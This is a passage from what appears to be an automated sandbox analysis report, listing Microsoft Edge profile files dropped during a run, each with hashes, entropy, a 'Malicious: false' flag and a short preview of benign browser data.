SHA-512:	7710A9E9979748B825BE1308FADB6E50ED7B1FD4E8085A99C4119FFA11F268D2603C7D0230C5779DF1CC55872D0851AEACBB4BCB5432728CF098208A2CC8A965
Malicious:	false
Preview:	2024/10/29-01:59:38.037 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-01:59:38.038 1c2c Recovering log #3.2024/10/29-01:59:38.042 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2327219658822495
Encrypted:	false
SSDEEP:	12:fWyn3+v4YebvqBZFUt8uWy+/+uW6V5LYebvqBaJ:fI4Yebvyg8uaDLYebvL
MD5:	387F108A6E08B9152AF70A192CFD0529
SHA1:	7DBD2E16BAF5296EEF2F99E67F2665A8CCD7BD92
SHA-256:	EF2C2B7E39D6E7B0BC64C4C61ED248A5FE5A19067C4A0BCE2E856AE3AFC5A5F8
SHA-512:	7710A9E9979748B825BE1308FADB6E50ED7B1FD4E8085A99C4119FFA11F268D2603C7D0230C5779DF1CC55872D0851AEACBB4BCB5432728CF098208A2CC8A965
Malicious:	false
Preview:	2024/10/29-01:59:38.037 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-01:59:38.038 1c2c Recovering log #3.2024/10/29-01:59:38.042 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.213518236087053
Encrypted:	false
SSDEEP:	6:cOU9Mq2P923oH+TcwtpIFUt8HOU98JZmw+HOU98DkwO923oH+Tcwta/WLJ:fhv4YebmFUt8uP/+ud5LYebaUJ
MD5:	88AC4EBA6F5582F5ED74C47A90DD3F4D
SHA1:	BA8485967DCB9723566BBA099E0C30F01B75BA5F
SHA-256:	35F0A5BFB1CC74F229196526F27064237A8AD61904D16E8583411379FAC806C9
SHA-512:	94A51054AB597D499ED669DD9DD544D8C4966E5B3FCA1C77791AB15E39B160A0DD26298D3203952FD2F77325B62E537CC3953FD78F24381F73F1F8ED0595CD60
Malicious:	false
Preview:	2024/10/29-01:59:19.352 1bf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-01:59:19.353 1bf4 Recovering log #3.2024/10/29-01:59:19.353 1bf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.213518236087053
Encrypted:	false
SSDEEP:	6:cOU9Mq2P923oH+TcwtpIFUt8HOU98JZmw+HOU98DkwO923oH+Tcwta/WLJ:fhv4YebmFUt8uP/+ud5LYebaUJ
MD5:	88AC4EBA6F5582F5ED74C47A90DD3F4D
SHA1:	BA8485967DCB9723566BBA099E0C30F01B75BA5F
SHA-256:	35F0A5BFB1CC74F229196526F27064237A8AD61904D16E8583411379FAC806C9
SHA-512:	94A51054AB597D499ED669DD9DD544D8C4966E5B3FCA1C77791AB15E39B160A0DD26298D3203952FD2F77325B62E537CC3953FD78F24381F73F1F8ED0595CD60
Malicious:	false
Preview:	2024/10/29-01:59:19.352 1bf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-01:59:19.353 1bf4 Recovering log #3.2024/10/29-01:59:19.353 1bf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651897785771922
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMySAELyKOMq+8yC8F/YfU5m+OlTLVumm:Bq+n0Jy9ELyKOMq+8y9/Owl
MD5:	6764811C0AB548AD8E86D6B83505CFEB
SHA1:	65D81F21873C49EB7E21623FCC8B35477633FAAD
SHA-256:	0A0F5DE3717B97FF05EE6D79F7C8EAEA0138649725F7A4A56E597489AB62020C
SHA-512:	386B4640F5ACBAD2D60F33C3F362B28DAEDEA510F64D7B7C1AD887AD0D78B125E38DA55EA908BC40B21F3CA3C7080CACE499B22A76EFC739A17961BA008C0E73
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666312507157363
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0xS:v7doKsKuKZKlZNmu46yjx0Q
MD5:	1A1FAE34C0FD0C13AAFA1BC531D661F1
SHA1:	F560BD5556F891ACB86EEB224F008389A839CA64
SHA-256:	69BD4C6998A16AEEC55193FABC02DEEEB4A9A34A22D7143C8D4ADF7CAEE7FBFE
SHA-512:	DD8898B4DAD7758D668E49FFADA626E5B3D371D6EE53C2F5E41466EEC4E94030DBC79300F7F5BB1FEDF45D2ADAFE44862B3C06F959E39376C60E009F017776E2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cfdd26ac-3946-4f49-9742-e03195756a12.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17528), with no line terminators
Category:	dropped
Size (bytes):	17528
Entropy (8bit):	5.474746916769765
Encrypted:	false
SSDEEP:	384:st+PGQSu4vs4+2fhDiX/YdJw8bGCQwp6WTTjlaTY6:sUOXusbfnJw8bGxyXNaTY6
MD5:	5CF71250090548D35E04B669373E2F0B
SHA1:	238D54B429A30D2D4DC8A8C9C4CE16D658093DA7
SHA-256:	C75B162DA85AF6D723EABD6E5F1A2D8C37636127D7EC80E011B5C7103D970E22
SHA-512:	23EC75DE0B9FC09268C457842C3B093E94954CF4978F2DF022AFBDB2DB2F0A8C3007E5DDC50573386DA80DC5A082D0D0A7FB279504709EFA66990D12971EFCDE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d89cef01-f15a-4141-88d8-f6d5bcebee44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17528), with no line terminators
Category:	dropped
Size (bytes):	17528
Entropy (8bit):	5.474880097567369
Encrypted:	false
SSDEEP:	384:st+PGQSu4vs4+2fhDiX/YdJw8bGCQwp6WT5jlaTY6:sUOXusbfnJw8bGxyXTaTY6
MD5:	7DB2EE68834F796FB3B5C44B717BC1FC
SHA1:	24B428FBD2187803729C4DDDF8960A710A494184
SHA-256:	A59C97CE9FAD05438FE30FA35B7AB507F91B4A46233024F2C078F90309702CED
SHA-512:	09386AED312FC45A75D66E7A87FDDC1DAE92F72E0CE36192C5DB06AA5BB04F2A641A2C02131E96FB8141870953299A1CEC44B103CB03E633C430ACED148AA817
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fe946cdd-ea20-47a6-89da-4a9cc8761d83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10549890449900161
Encrypted:	false
SSDEEP:	12:JnteYnteLpEjVl/PnnnnnnnnnnnnvoQtEoxu:JnteYntetoPnnnnnnnnnnnnvHj
MD5:	F016295BE12ADBE1F2C252D74DF00C1A
SHA1:	90B7F6366D3ED17066A83ABFCF5DE4090B52CB81
SHA-256:	C1DDB1C637455E92C2A917000E0D2CD01AC8D28662D5026B41B4191A8DB0B128
SHA-512:	2EC83D7CB4E0B6D928F58C624B46E2F01D8612686F78395E02351FC1448BEFA9F3820047B3D1D8DB393D9A855CBE34E1EA936DA068CC89D6BCAC83EACDCA2844
Malicious:	false
Preview:	..-.............Q.......k.u..C...4..}..8U.OO..r..-.............Q.......k.u..C...4..}..8U.OO..r........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9328567380079592
Encrypted:	false
SSDEEP:	384:G2WvVryZzZsomf1wSmYHWY35huZhi9C3Hri4JRh4MiZM+eiy5ypyyQy73yGxy0R:NWV
MD5:	36E9EFE289A96E7D3B74A54D7CF43401
SHA1:	0EF1B57D75C6AA53DF79D5B0235913F82117ED19
SHA-256:	E1D0E27741FD89CAA07CD4349966F5D417E7A646BE4689DB8B5E258C10B6CFE1
SHA-512:	9CDFDB04ECB6D4264673CAD6B004E9B3CC2CA4DFB99EF6583E30DC677F431A5593ACD5BA7F6BA2C1056F0ED8398F29EE30B9341EF3B2FE77B6DBD6F042937351
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5415399195210133
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuellCKkd81:iDzlCKJ
MD5:	39F06257D95B93636BE39E73996D1FC9
SHA1:	6462713AC0FEAC4BC58929D0CA51F8705D6E5750
SHA-256:	6CD68334CEB26D0804B9648E547C5807E73B61C470467ACC282B7B8D1FC01976
SHA-512:	D6F327613C52649CF3988A32BE2AC3E7EE35658B1D62F2969678FFDA1A922AA6421F15653CEAC561A3C2C6650E5DC94667FF49996D7BAF17144DF76F9CC3E160
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................M.;...............#38_h.......6.Z..W.F.....1.......1............V.e................V.e................V.e................._..0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1440706292813925
Encrypted:	false
SSDEEP:	6:cOFL0x+q2P923oH+TcwtfrK+IFUt8HOFLy6Zmw+HOFLyWVkwO923oH+TcwtfrUed:fFL08v4Yeb23FUt8uFLH/+uFLV5LYeb5
MD5:	C62028F6F6E7E8707275861DB1547400
SHA1:	A277F54BD30473738B49D77B654A71C40C2B7CB6
SHA-256:	37BEAA70059F56CEB9DFE756FAD28C722C108392246C5E431CB281D23F22E505
SHA-512:	2AE48678E9ADD22197B3D0C7BB96C59CA95E249D3E1AC914874B5E2B6A383850888F4C0A59C370F02473EB50B1830D2A9BC931BA8B6421A1903F0E0920CA156F
Malicious:	false
Preview:	2024/10/29-01:59:20.000 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-01:59:20.001 1ec8 Recovering log #3.2024/10/29-01:59:20.001 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1440706292813925
Encrypted:	false
SSDEEP:	6:cOFL0x+q2P923oH+TcwtfrK+IFUt8HOFLy6Zmw+HOFLyWVkwO923oH+TcwtfrUed:fFL08v4Yeb23FUt8uFLH/+uFLV5LYeb5
MD5:	C62028F6F6E7E8707275861DB1547400
SHA1:	A277F54BD30473738B49D77B654A71C40C2B7CB6
SHA-256:	37BEAA70059F56CEB9DFE756FAD28C722C108392246C5E431CB281D23F22E505
SHA-512:	2AE48678E9ADD22197B3D0C7BB96C59CA95E249D3E1AC914874B5E2B6A383850888F4C0A59C370F02473EB50B1830D2A9BC931BA8B6421A1903F0E0920CA156F
Malicious:	false
Preview:	2024/10/29-01:59:20.000 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-01:59:20.001 1ec8 Recovering log #3.2024/10/29-01:59:20.001 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.196013277582365
Encrypted:	false
SSDEEP:	6:cOU3k3+q2P923oH+TcwtfrzAdIFUt8HOU38eZZmw+HOU38eNVkwO923oH+Tcwtfa:faVv4Yeb9FUt8uaXZ/+uaXz5LYeb2J
MD5:	08DEC7F502AA7CC8720439964061E9BB
SHA1:	A28AABA1E1DA658902878C3A772C22536F708428
SHA-256:	F8AE1CB70312B72E5F06436F23C2D26B4D5B966A88F6E2A70E881FFEB20921DF
SHA-512:	96AAA0DD97975B6490BADDB05D7AC70F2C9A7B9776D4C531E1AE4C4D1744F6062650C98A7A04CB36AA874F6887D5CEF45EB02B175DAD2D5CB6F03AD15F6B242E
Malicious:	false
Preview:	2024/10/29-01:59:19.995 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-01:59:19.996 1ec8 Recovering log #3.2024/10/29-01:59:19.996 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.196013277582365
Encrypted:	false
SSDEEP:	6:cOU3k3+q2P923oH+TcwtfrzAdIFUt8HOU38eZZmw+HOU38eNVkwO923oH+Tcwtfa:faVv4Yeb9FUt8uaXZ/+uaXz5LYeb2J
MD5:	08DEC7F502AA7CC8720439964061E9BB
SHA1:	A28AABA1E1DA658902878C3A772C22536F708428
SHA-256:	F8AE1CB70312B72E5F06436F23C2D26B4D5B966A88F6E2A70E881FFEB20921DF
SHA-512:	96AAA0DD97975B6490BADDB05D7AC70F2C9A7B9776D4C531E1AE4C4D1744F6062650C98A7A04CB36AA874F6887D5CEF45EB02B175DAD2D5CB6F03AD15F6B242E
Malicious:	false
Preview:	2024/10/29-01:59:19.995 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-01:59:19.996 1ec8 Recovering log #3.2024/10/29-01:59:19.996 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF371b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
